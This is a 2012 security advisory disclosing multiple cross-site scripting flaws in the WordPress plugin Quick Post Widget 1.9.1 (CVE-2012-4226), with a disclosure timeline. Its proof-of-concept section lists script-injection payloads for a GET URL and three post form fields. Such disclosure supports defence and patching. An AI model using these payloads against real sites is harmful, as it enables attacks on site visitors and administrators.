WordPress Plugin 'Quick Post Widget' 1.9.1 Multiple Cross-site scripting vulnerabilities

[sschurtz@xxxxxxxxxxxxxxx]

Advisory:               WordPress Plugin 'Quick Post Widget' 1.9.1 Multiple 
Cross-site scripting vulnerabilities
Advisory ID:            SSCHADV2012-016
Author:                 Stefan Schurtz
Affected Software:      Successfully tested on Quick Post Widget 1.9.1
Vendor URL:             http://qpw.famvanakkeren.nl/
Vendor Status:          informed
CVE-ID:                 CVE-2012-4226

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Vulnerability Description
==========================

The WordPress plugin Quick Post Widget 1.9.1 is prone to multiple XSS 
vulnerabilities

==================
PoC-Exploit
==================

// GET
http://[target]/wordpress/?";></script><script>alert(/xss/)</script>

// POST 
http://[target]/wordpress/ -> Quickpost 'Title' -> 
"></script><script>alert(/xss/)</script>
http://[target]/wordpress/ -> Quickpost 'Content' -> 
"></script><script>alert(/xss/)</script>
http://[target]/wordpress/ -> Quickpost 'New category' -> 
"></script><script>alert(/xss/)</script>

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Solution
=========

-

====================
Disclosure Timeline
====================

02-Jul-2012 - developer informed
09-Jul-2012 - developer feedback
10-Aug-2012 - post on BugTraq

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Credits
========

Vulnerabilities found and advisory written by Stefan Schurtz.

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References
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http://www.darksecurity.de/advisories/2012/SSCHADV2012-016.txt